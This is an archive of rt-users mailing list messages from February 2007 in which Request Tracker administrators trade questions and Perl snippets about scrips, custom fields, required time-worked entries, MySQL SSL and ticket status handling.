> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy
> a copy at http://rtbook.bestpractical.com
> 



From kamber.dalal at verizonbusiness.com  Wed Feb 14 12:12:31 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Wed, 14 Feb 2007 17:12:31 +0000
Subject: [rt-users] Autoreply or Notify Requestors
In-Reply-To: <45D33090.4030102@kereval.com>
References: <2ACF6489BC112B4F9C8956BADB9228E60550E213@ASHEVS005.mcilink.com>
	<45D33090.4030102@kereval.com>
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E60550E4D2@ASHEVS005.mcilink.com>

What should the Action be set at, Autoreply to Requestors or Notify Requestors?

In the condition, in line:

return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the
> Issue') =~ //third value in the list//i;

Should I replace
FirstCustomFieldValue
 to
ThirdCustomFieldValue

For the escalation notification?

Thanks,
Kamber

-----Original Message-----
From: Marouane HIMDI [mailto:marouane.himdi at kereval.com] 
Sent: Wednesday, February 14, 2007 9:54 AM
To: Dalal, Kamber Z (Kamber)
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] Autoreply or Notify Requestors



Dalal, Kamber Z (Kamber) a ?crit :
> Situation:
>  
> Need to send templated e-mails.  Requestor information is updated.  
> First email is an automatic notification to the requestor when custom 
> field value is set at the first value from a dropdown list.  Second 
> e-mail is an escalation to be auto sent when custom field value is set 
> to the third or fourth value in the dropdown list.
>  
> Already done is:
>  
> Created the 2 templates.   /Template A     Template B/
>  
> First Scrip field values are:
>  
> Description:  First Notification
> Condition:     User Defined
> Action:        Notify Requestors
> Template:    /Template A/
> Stage:        TransactionCreate
>  
>  
>  
> Custom Condition is set as:
> return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the
> Issue') =~ //first value in the list//i;
>  
> 1;
>  
>  
>  
> The Custom action preparation code and cleanup code are blank.
>  
>  
> The above condition does not send notification to the Requestor.  When 
> action was changed from Notify Requestors to AutoReply Requestors, it 
> does send the email, but it continues to send the templated email on 
> following transactions, even when the custom field value does not 
> change.  Desired is that the template A email should go out onkly once.
This is normal, You have add the condition that transaction must concerns a custmFiledValue 's change.
So, the solution is done here
http://wiki.bestpractical.com/index.cgi?OnCustomFieldValueChange

Best regards
>  
>  
> The escalation email scrip is:
>  
> Description:  Escalation Notification
> Condition:     User Defined
> Action:        Notify Requestors
> Template:    /Template B/
> Stage:        TransactionCreate
>  
>  
>  
> Custom Condition is set as:
> return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the
> Issue') =~ //third value in the list//i;
>  
> 1;
>  
>  
>  
> The Custom action preparation code and cleanup code are blank.
>  
>  
> What changes need to be made for this to work?
>  
> Thank you,
> Kamber Dalal
>  
> ----------------------------------------------------------------------
> --
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From sven.sternberger at desy.de  Wed Feb 14 13:07:44 2007
From: sven.sternberger at desy.de (Sven Sternberger)
Date: Wed, 14 Feb 2007 19:07:44 +0100
Subject: [rt-users] [ANNOUNCE] an improved shredding machine available now
In-Reply-To: <589c94400702110108r2be3a877m58392930038a4e09@mail.gmail.com>
References: <589c94400702110108r2be3a877m58392930038a4e09@mail.gmail.com>
Message-ID: <1171476464.32099.27.camel@pcx4546.desy.de>

Hello Ruslan!

I just installed Shredder 0.0.5, on RT3.6.3.

But the "Shredder" button on the end of the ticket list page
still give me a

"The requested URL /Admin/Tools/Shredder/Search.html was not found on
this server."

and in fact there is no Search.html ;-)

regards!

sven



From joe.casadonte at oracle.com  Wed Feb 14 13:35:15 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 13:35:15 -0500
Subject: [rt-users] Basic vs. Advanced UI - patch
Message-ID: <45D35663.3000909@oracle.com>

I am going to have many users that will want the simplest interface 
possible, yet they still need to be privileged.  I have a patch, as well 
as two additional files, to provide a way to switch between a basic 
interface (i.e. SelfService) and an Advanced interface (i.e. RT at a 
Glance) for privileged users only.  There is a cookie involved which 
keeps track of the user's preference.

The files are at: 
http://wiki.bestpractical.com/index.cgi?BasicVsAdvancedInterface

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From danno at internet2.edu  Wed Feb 14 13:53:12 2007
From: danno at internet2.edu (Dan Pritts)
Date: Wed, 14 Feb 2007 13:53:12 -0500
Subject: [rt-users] SSL connection from RT->MySQL?
In-Reply-To: <9C0091F428E697439E7A773FFD083427A9283E@szexchange.Shopzilla.inc>
References: <9C0091F428E697439E7A773FFD083427A9283E@szexchange.Shopzilla.inc>
Message-ID: <20070214185312.GA20910@internet2.edu>

...late reply here but hopefully still helpful.

in general it's possible to do this with mysql - i've done it, but not
for RT.  I don't remember the details but i worked from the mysql docs.

I set it up so the server required ssl on connections, but the clients
needed command line options, which worked in my situation.

it wouldn't surprise me if there were generic system-wide client-side
options you can set in my.cnf.

On Sun, Jan 14, 2007 at 07:20:12PM -0800, Philip Kime wrote:
> I notice that the DatabaseRequireSSL config option mentions only
> Postgress and there are no config options for cert locations etc. Is it
> possible to force RT->MySQL communications over SSL? I don't mean
> getting RT/Apache to to talk SSL to clients, that's a completely
> different thing ...
>  
> PK
>  
> --
> Philip Kime
> NOPS Systems Architect
> 310 401 0407
>  

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


danno
--
Dan Pritts, System Administrator
Internet2
office: +1-734-352-4953 | mobile: +1-734-834-7224


From jmoseley at pgtv.com  Wed Feb 14 14:41:39 2007
From: jmoseley at pgtv.com (jmoseley at pgtv.com)
Date: Wed, 14 Feb 2007 13:41:39 -0600
Subject: [rt-users] No Answers :-(
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC7041E4C05@server15.int.cancom.de>
Message-ID: <OFE0036DC2.4115F420-ON86257282.006BA669-86257282.006CA144@pgtv.com>

Torben, without doing the research, I am not even sure if the RT code knows
how to parse html email.  I think you'd be better off just sending plain
text email through the mailgate.  I am sure this topic has been covered
before somewhere in the list archives.

I think perhaps your lack of responses, especially regarding the simple
search feature is to allow you time to perhaps answer your own questions.
;-)

To change the simple search, you're going to have to change the code
yourself.  Barring that, once you perform the search, you can edit it or
use the advanced link to exclude resolved tickets.

Each user can also edit their search preferences to sort tickets in
searches so that they are in descending order.  While the simple search
will still yield resolved tickets, newest tickets at the top of the search
will be more likely to be open/new while really old tickets at the bottom
of the search will have a higher probably of being in resolved status.



James Moseley




                                                                           
             "Torben Nehmer"                                               
             <torben.nehmer at ca                                             
             ncom.de>                                                   To 
             Sent by:                  <RT-Users at lists.bestpractical.com>  
             rt-users-bounces@                                          cc 
             lists.bestpractic                                             
             al.com                                                Subject 
                                       [rt-users] No Answers :-(           
                                                                           
             02/14/2007 04:34                                              
             AM                                                            
                                                                           
                                                                           
                                                                           




Hi,

I have been using RT for a while now and I must say that I am very happy
with it as a product.

What I'm a bit dissapointed is the fact, that I didn't get any response at
all to two questions I have been asking here on the list, one about a
Problem with text/html mails [1], and another about default ticket filtres
[2].

[1]: http://lists.fsck.com/pipermail/rt-users/2006-November/042987.html,
http://lists.fsck.com/pipermail/rt-users/2006-November/043010.html,
http://lists.fsck.com/pipermail/rt-users/2006-November/043011.html,
http://lists.fsck.com/pipermail/rt-users/2006-November/043012.html
[2]: http://lists.fsck.com/pipermail/rt-users/2007-January/043699.html

In both cases I'd be happy even with a first few insights where to start
searching. I have quite some experience in application development in
itself, but I have almost no knowledge of RT internals and not the time to
spend hours in understanding the whole architecture. Heck, even pointers at
existing Documents etc. would be a help, I searched for the problems, but i
didn't find anything useful.

I know that support is always a problem with open source software (I have
been leading an OSS Project for years), but just not answering in any way
isn't exactly what I'd expect. Please don't destroy the very good
impression I currently have from RT by letting this slide entirely.
Currently our RT instance here is only used by a few people, but we have
plans of opening it up to around a thousand employees here and there it
will be a problem.


Yours sincerely,
Torben Nehmer


-------
Torben Nehmer
Diplom Informatiker (FH)
Business System Developer


CANCOM Deutschland GmbH
Messerschmittstr. 20
89343 Scheppach
Germany


Phone: +49 (0)8225 - 996-1118
Fax: +49 (0)8225 - 996-41118
torben.nehmer at cancom.de


CANCOM Deutschland GmbH
Sitz der Gesellschaft: Jettingen-Scheppach
HRB 10653 Memmingen
Gesch?ftsf?hrer: Paul Holdschik, Christian Linder
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
Buy a copy at http://rtbook.bestpractical.com





From joe.casadonte at oracle.com  Wed Feb 14 17:13:39 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 17:13:39 -0500
Subject: [rt-users] Scrip Testing
Message-ID: <45D38993.3060007@oracle.com>

I'm currently testing a scrip that fires on ticket creation.  Rather 
than continually creating test tickets (I'm on #4 :) is there a way to 
run a scrip as if a ticket had just been created, using an existing 
scrip?  Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From dmbeethe at fedex.com  Wed Feb 14 17:04:11 2007
From: dmbeethe at fedex.com (Don Beethe)
Date: Wed, 14 Feb 2007 16:04:11 -0600
Subject: [rt-users] Require entry in Worked: field
In-Reply-To: <20070214163802.AB36B4D822A@diesel.bestpractical.com>
Message-ID: <CBFD49490FF183498C0C74C2317C7FE507317F3D@MEMEXCH06V.corp.ds.fedex.com>

 I'm sure this has been done, just can't seem to find it on the
documentation. 
What mods do I need to make to require this entry? 

Thanks


From joe.casadonte at oracle.com  Wed Feb 14 20:05:13 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 20:05:13 -0500
Subject: [rt-users] Source of new ticket: Web or email?
Message-ID: <45D3B1C9.3090804@oracle.com>

Is there any way, specifically in a scrip, to determine if the ticket 
just created was done via the Web UI or via an email?  I would like to 
disable auto-replies for web transactions where the requestor is also 
the principal (they get instant feedback; they don't need or want the 
additional email).

Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From pengland at wxc.co.nz  Wed Feb 14 21:31:35 2007
From: pengland at wxc.co.nz (Paul England)
Date: Thu, 15 Feb 2007 15:31:35 +1300
Subject: [rt-users] How does RT encrypt passwords?
In-Reply-To: <B2E89743C79B364482E6AE35414E516201EABAF2@mail.buschs.net>
References: <1171407770.17233.4.camel@kriticals_workstation>
	<B2E89743C79B364482E6AE35414E516201EABAF2@mail.buschs.net>
Message-ID: <1171506695.17233.68.camel@kriticals_workstation>

Thanks a lot =)

On Wed, 2007-02-14 at 08:44 -0500, Jacob Helwig wrote:
> use Digest::MD5;
> 
> my $md5 = Digest::MD5->new();
> 
> $md5->add("password goes here");
> 
> my $cryptedPass = $md5->hexdigest;
> 
> 
> > -----Original Message-----
> > From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-
> > bounces at lists.bestpractical.com] On Behalf Of Paul England
> > Sent: Tuesday, February 13, 2007 18:03
> > To: rt-users at lists.bestpractical.com
> > Subject: [rt-users] How does RT encrypt passwords?
> > 
> > Hi there,
> > 
> > Can anyone tell me what method RT uses to encrypt passwords in mysql?
> > 
> > Thank you
> > 
> > Paul England, Auckland
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > 
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> > 
> > 
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From theillien at yahoo.com  Wed Feb 14 21:33:18 2007
From: theillien at yahoo.com (Mathew)
Date: Wed, 14 Feb 2007 21:33:18 -0500
Subject: [rt-users] No Answers :-(
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC7041E4C05@server15.int.cancom.de>
References: <EBE724A2DE794D44B545B2B355DD3CC7041E4C05@server15.int.cancom.de>
Message-ID: <45D3C66E.5060607@yahoo.com>

Torben,

I too, have had issues with questions I've asked going unanswered.
Initially, I thought it was due to people just not caring to answer
them.  However, having been posting to this mailing list for a while
now, I've come to realize that a lot of questions get posted and it is
easy to lose one or two in the mix.  I've asked a few of the questions
I've had more than once usually getting some kind of answer eventually.
 Even people don't know the answer, they will generally let you know.
If you don't get an answer the first time, ask again.  Eventually you will

Mathew

Torben Nehmer wrote:
> Hi,
>  
> I have been using RT for a while now and I must say that I am very happy
> with it as a product.
>  
> What I'm a bit dissapointed is the fact, that I didn't get any response
> at all to two questions I have been asking here on the list, one about a
> Problem with text/html mails [1], and another about default ticket
> filtres [2].
>  
> [1]: http://lists.fsck.com/pipermail/rt-users/2006-November/042987.html,
> http://lists.fsck.com/pipermail/rt-users/2006-November/043010.html,
> http://lists.fsck.com/pipermail/rt-users/2006-November/043011.html,
> http://lists.fsck.com/pipermail/rt-users/2006-November/043012.html
> [2]: http://lists.fsck.com/pipermail/rt-users/2007-January/043699.html
>  
> In both cases I'd be happy even with a first few insights where to start
> searching. I have quite some experience in application development in
> itself, but I have almost no knowledge of RT internals and not the time
> to spend hours in understanding the whole architecture. Heck, even
> pointers at existing Documents etc. would be a help, I searched for the
> problems, but i didn't find anything useful.
>  
> I know that support is always a problem with open source software (I
> have been leading an OSS Project for years), but just not answering in
> any way isn't exactly what I'd expect. Please don't destroy the very
> good impression I currently have from RT by letting this slide entirely.
> Currently our RT instance here is only used by a few people, but we have
> plans of opening it up to around a thousand employees here and there it
> will be a problem.
> 
> Yours sincerely,
> Torben Nehmer
> 
> -------
> Torben Nehmer
> Diplom Informatiker (FH)
> Business System Developer
> 
> CANCOM Deutschland GmbH
> Messerschmittstr. 20
> 89343 Scheppach
> Germany
> 
> Phone: +49 (0)8225 - 996-1118
> Fax: +49 (0)8225 - 996-41118
> torben.nehmer at cancom.de <mailto:torben.nehmer at cancom.de>
> 
> CANCOM Deutschland GmbH
> Sitz der Gesellschaft: Jettingen-Scheppach
> HRB 10653 Memmingen
> Gesch?ftsf?hrer: Paul Holdschik, Christian Linder
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From theillien at yahoo.com  Wed Feb 14 21:34:29 2007
From: theillien at yahoo.com (Mathew)
Date: Wed, 14 Feb 2007 21:34:29 -0500
Subject: [rt-users] Require entry in Worked: field
In-Reply-To: <CBFD49490FF183498C0C74C2317C7FE507317F3D@MEMEXCH06V.corp.ds.fedex.com>
References: <CBFD49490FF183498C0C74C2317C7FE507317F3D@MEMEXCH06V.corp.ds.fedex.com>
Message-ID: <45D3C6B5.3030703@yahoo.com>

ooohhhh...good question.  I'm sure my bosses would love to see me
implement this as well.  I look forward to the answer.

Mathew

Don Beethe wrote:
>  I'm sure this has been done, just can't seem to find it on the
> documentation. 
> What mods do I need to make to require this entry? 
> 
> Thanks
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From vivek at khera.org  Wed Feb 14 22:09:13 2007
From: vivek at khera.org (Vivek Khera)
Date: Wed, 14 Feb 2007 22:09:13 -0500
Subject: [rt-users] Scrip Testing
In-Reply-To: <45D38993.3060007@oracle.com>
References: <45D38993.3060007@oracle.com>
Message-ID: <23B24B1E-8FA0-482C-A8C8-A9D2F32E998F@khera.org>


On Feb 14, 2007, at 5:13 PM, Joe Casadonte wrote:

> I'm currently testing a scrip that fires on ticket creation.   
> Rather than continually creating test tickets (I'm on #4 :) is  
> there a way to run a scrip as if a ticket had just been created,  
> using an existing scrip?  Thanks!
>

i set up a separate test instance of RT + database so I can burn thru  
tix without issue.  I generally feed a canned email message directly  
into rt-mailgate program rather than going to the trouble of sending  
email.

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From vivek at khera.org  Wed Feb 14 22:14:38 2007
From: vivek at khera.org (Vivek Khera)
Date: Wed, 14 Feb 2007 22:14:38 -0500
Subject: [rt-users] Source of new ticket: Web or email?
In-Reply-To: <45D3B1C9.3090804@oracle.com>
References: <45D3B1C9.3090804@oracle.com>
Message-ID: <A729FACD-8FA0-4E6E-A863-42DA576D8B4D@khera.org>


On Feb 14, 2007, at 8:05 PM, Joe Casadonte wrote:

> Is there any way, specifically in a scrip, to determine if the  
> ticket just created was done via the Web UI or via an email?  I  
> would like to disable auto-replies for web transactions where the  
> requestor is also the principal (they get instant feedback; they  
> don't need or want the additional email).

Ha!  I spent some time doing this a couple of weeks ago... I came up  
with this:

my $co = $self->TransactionObj->ContentObj;

...

if ($co->GetHeader('Received')) { # came via email }

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From marouane.himdi at kereval.com  Thu Feb 15 03:24:31 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Thu, 15 Feb 2007 09:24:31 +0100
Subject: [rt-users] Source of new ticket: Web or email?
In-Reply-To: <45D3B1C9.3090804@oracle.com>
References: <45D3B1C9.3090804@oracle.com>
Message-ID: <45D418BF.4000705@kereval.com>

Have a look at RT WIKI
http://wiki.bestpractical.com/index.cgi?OnCreateFromEmail

Best regards

Marouane HIMDI

Joe Casadonte a ?crit :
> Is there any way, specifically in a scrip, to determine if the ticket 
> just created was done via the Web UI or via an email?  I would like to 
> disable auto-replies for web transactions where the requestor is also 
> the principal (they get instant feedback; they don't need or want the 
> additional email).
>
> Thanks!
>


From Richard.Ellis at Sun.COM  Thu Feb 15 05:00:44 2007
From: Richard.Ellis at Sun.COM (Richard Ellis)
Date: Thu, 15 Feb 2007 10:00:44 +0000
Subject: [rt-users] Re: Require entry in Worked: field
In-Reply-To: <20070215082459.07B024D8260@diesel.bestpractical.com>
References: <20070215082459.07B024D8260@diesel.bestpractical.com>
Message-ID: <45D42F4C.1010700@sun.com>

Hi Don,

You are correct, this has been done before. We currently insist on 
Worked field being at least 1 minute.

try http://wiki.bestpractical.com/index.cgi?TimeWorked

Rik

> Message: 1
> Date: Wed, 14 Feb 2007 16:04:11 -0600
> From: "Don Beethe" <dmbeethe at fedex.com>
> Subject: [rt-users] Require entry in Worked: field
> To: <rt-users at lists.bestpractical.com>
> Message-ID:
> 	<CBFD49490FF183498C0C74C2317C7FE507317F3D at MEMEXCH06V.corp.ds.fedex.com>
> 	
> Content-Type: text/plain;	charset="us-ascii"
>
>  I'm sure this has been done, just can't seem to find it on the
> documentation. 
> What mods do I need to make to require this entry? 
>
> Thanks
>   

-- 
Richard Ellis
.Sun B2B Operations
Sun Microsystems x24727
http://sun.com




From Richard.Ellis at Sun.COM  Thu Feb 15 05:22:35 2007
From: Richard.Ellis at Sun.COM (Richard Ellis)
Date: Thu, 15 Feb 2007 10:22:35 +0000
Subject: [rt-users] Require entry in Worked: field
In-Reply-To: <20070215082459.07B024D8260@diesel.bestpractical.com>
References: <20070215082459.07B024D8260@diesel.bestpractical.com>
Message-ID: <45D4346B.7000709@sun.com>

We also have this in our local/html/Ticket/Update.html

if ($DefaultStatus eq 'resolved') {
     # if we are resolving a ticket and there has been no time submitted,
     # do not allow the ticket to resolve.  must check that SubmitTicket is
     # set, or we prevent the close page from loading and thus NO ticket can
     # be resolved.
     if ((! defined($TicketObj->TimeWorked) or $TicketObj->TimeWorked == 
0) and
         $ARGS{'UpdateTimeWorked'} <= 0 and
         exists $ARGS{'SubmitTicket'} ) {
         Abort("You cannot resolve a ticket with zero time worked. 
Please reselect the ticket and try again");
     }

Hope it helps

Rik

>
> Message: 1
> Date: Wed, 14 Feb 2007 16:04:11 -0600
> From: "Don Beethe" <dmbeethe at fedex.com>
> Subject: [rt-users] Require entry in Worked: field
> To: <rt-users at lists.bestpractical.com>
> Message-ID:
> 	<CBFD49490FF183498C0C74C2317C7FE507317F3D at MEMEXCH06V.corp.ds.fedex.com>
> 	
> Content-Type: text/plain;	charset="us-ascii"
>
>  I'm sure this has been done, just can't seem to find it on the
> documentation. 
> What mods do I need to make to require this entry? 
>
> Thanks
> .Sun B2B Operations
> Sun Microsystems x24727
> http://sun.com
>
>   


From jesse at bestpractical.com  Thu Feb 15 03:06:18 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 15 Feb 2007 09:06:18 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D32476.3050906@oracle.com>
References: <45D32476.3050906@oracle.com>
Message-ID: <6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>


On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:

> Would this be easy to hack in?  I haven't touched the schema at  
> all, so I don't know what's involved....
>

It's certainly possible with the architecture. What are you looking  
to use it for?

Best,
Jesse


> -- 
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly  
> Media. Buy a copy at http://rtbook.bestpractical.com
>

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From torsten.brumm at kuehne-nagel.com  Thu Feb 15 06:54:18 2007
From: torsten.brumm at kuehne-nagel.com (Torsten Brumm | Kuehne + Nagel)
Date: Thu, 15 Feb 2007 12:54:18 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
Message-ID: <C1FA087A.47B3%torsten.brumm@kuehne-nagel.com>

Billing!

If you have a big system for several company's and so on, then you can use
this option for billing information and so on!

Torsten


On 15.02.2007 9:06 Uhr, "Jesse Vincent" <jesse at bestpractical.com> wrote:

> 
> On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:
> 
>> Would this be easy to hack in?  I haven't touched the schema at
>> all, so I don't know what's involved....
>> 
> 
> It's certainly possible with the architecture. What are you looking
> to use it for?
> 
> Best,
> Jesse
> 
> 
>> -- 
>> Regards,
>> 
>> 
>> joe
>> Joe Casadonte
>> joe.casadonte at oracle.com
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> 
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>> 
>> 
>> Discover RT's hidden secrets with RT Essentials from O'Reilly
>> Media. Buy a copy at http://rtbook.bestpractical.com
>> 
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com

-- 
With kindest regards

Torsten Brumm
Kuehne + Nagel 
Datacenter Hamburg
Bauerbergweg 25
22111 Hamburg

Tel: +49 40 3033 33 199
Fax: +49 40 3033 344 3199
Gsm: +49 40 176 27 27 18 50
Mail: torsten.brumm at kuehne-nagel.com
Web: www.kuehne-nagel.com



From torsten.brumm at googlemail.com  Thu Feb 15 07:27:28 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Thu, 15 Feb 2007 13:27:28 +0100
Subject: [rt-users] On Create Status != new
Message-ID: <bdbd084b0702150427l49bb9782pd043ddac434a53a0@mail.gmail.com>

Hi,

i'm looking for a way to set on a specific queue the status for a new
created ticket to stalled and not to new, is this possible?

Thanks

-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From jesse at bestpractical.com  Thu Feb 15 07:56:09 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 15 Feb 2007 07:56:09 -0500
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <C1FA087A.47B3%torsten.brumm@kuehne-nagel.com>
References: <6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<C1FA087A.47B3%torsten.brumm@kuehne-nagel.com>
Message-ID: <20070215125608.GY25008@bestpractical.com>




On Thu, Feb 15, 2007 at 12:54:18PM +0100, Torsten Brumm | Kuehne + Nagel wrote:
> Billing!
> 
> If you have a big system for several company's and so on, then you can use
> this option for billing information and so on!


Can you be more specific? What data do you want to track?


From torsten.brumm at kuehne-nagel.com  Thu Feb 15 08:02:07 2007
From: torsten.brumm at kuehne-nagel.com (Torsten Brumm | Kuehne + Nagel)
Date: Thu, 15 Feb 2007 14:02:07 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <20070215125608.GY25008@bestpractical.com>
Message-ID: <C1FA185F.47BC%torsten.brumm@kuehne-nagel.com>

OK, let me explain a scenario:

You have one RT, with many thousand Queues. We have internally at KN many
different subsidiaries with internal cross billing.

Lets pick up the Queue Information you have at this moment:

Queue Name:
Queue Description: 

And some Fields for other information, thats OK,  but it would be much more
better if you can add, like you can do at the users cf's, some cf's to a
queue with information about this queue.

Example:

Queue Name: KN.APPLICATION-SUPPORT
Queue Description: Suport for Application xyz
Queue Owner: Torsten Brumm
Queue Requestor: Jesse Vincent
Billing to: Bestpractical
Budget Code: HAMBURG4711


And so on. And at the best, this could be displayed if active to the
overview screen of the Admin/Queues screen.

Can you understand me???

In our example we have another important point - the german workers council
and Reporting.

As you may know form our last training, we do reporting of rt tickets with
Business Objects and we have to make sure, that a queue with german users is
not reported by BO, so for this case a CF on a Queue Like "Reporting -
yes/no" would also make sense and so on and on.

See you in Amsterdam!

Torsten


On 15.02.2007 13:56 Uhr, "Jesse Vincent" <jesse at bestpractical.com> wrote:

> 
> 
> 
> On Thu, Feb 15, 2007 at 12:54:18PM +0100, Torsten Brumm | Kuehne + Nagel
> wrote:
>> Billing!
>> 
>> If you have a big system for several company's and so on, then you can use
>> this option for billing information and so on!
> 
> 
> Can you be more specific? What data do you want to track?

-- 
With kindest regards

Torsten Brumm
Kuehne + Nagel 
Datacenter Hamburg
Bauerbergweg 25
22111 Hamburg

Tel: +49 40 3033 33 199
Fax: +49 40 3033 344 3199
Gsm: +49 40 176 27 27 18 50
Mail: torsten.brumm at kuehne-nagel.com
Web: www.kuehne-nagel.com



From salih at ip-plus.net  Thu Feb 15 07:56:41 2007
From: salih at ip-plus.net (=?ISO-8859-1?Q?Salih_G=F6n=FCll=FC?=)
Date: Thu, 15 Feb 2007 13:56:41 +0100
Subject: [rt-users] SelfService Display.html bug
In-Reply-To: <20070118185837.GC2788@bestpractical.com>
References: <1169142644.6907.36.camel@localhost.localdomain>
	<20070118185837.GC2788@bestpractical.com>
Message-ID: <45D45889.4060401@ip-plus.net>

Hi all,

Same here, I am using RT 3.6.3, I tried to debug the problem and "fixed"
it by replacing in SelfService/Display.html

 ProcessObjectCustomFieldUpdates(Object => $Ticket, ARGSRef => \%ARGS);

with

ProcessTicketCustomFieldUpdates(Object => $Ticket, ARGSRef => \%ARGS);

ProcessObjectCustomFieldUpdates was messing with the $Ticket object,
(was trying to do Load a Ticket with id == 0)  I did not however dig any
further...

I am not sure if this is the right way to do it because
ProcessTicketCustomFieldUpdates in (RT::Interface::Web) is not used
anywhere...


Cheers,

                -salih


Jesse Vincent wrote:
> That looks like a translation  file issue. What rev of RT are you
> running?
>
>
>
> On Thu, Jan 18, 2007 at 06:50:43PM +0100, Alessio Fattorini wrote:
>   
>> When i create a ticket via SelfService i have this Error in Display.html
>>
>> Id: 
>> Status: Project-Id-Version: RT 3.5.x POT-Creation-Date: 2002-05-02 11:36
>> +0800 PO-Revision-Date: 2005-10-03 13:48-0400 Last-Translator: Angelo
>> Turetta Language-Team: rt-devel MIME-Version: 1.0 Content-Type:
>> text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 
>> Rimaned:  min 
>> Priority: / 
>> Queue: 
>>
>>     
>


From rfh at pipex.net  Thu Feb 15 08:50:52 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Thu, 15 Feb 2007 13:50:52 +0000
Subject: [rt-users] On Create Status != new
In-Reply-To: <bdbd084b0702150427l49bb9782pd043ddac434a53a0@mail.gmail.com>
References: <bdbd084b0702150427l49bb9782pd043ddac434a53a0@mail.gmail.com>
Message-ID: <45D4653C.6020409@pipex.net>

Torsten;
Why don't you create a queue->scrip
on Create
$self->TicketObj->SetStatus ('stalled')

?? You got me wondering why this is not possible?
Roy

Torsten Brumm wrote:
> Hi,
>
> i'm looking for a way to set on a specific queue the status for a new
> created ticket to stalled and not to new, is this possible?
>
> Thanks
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



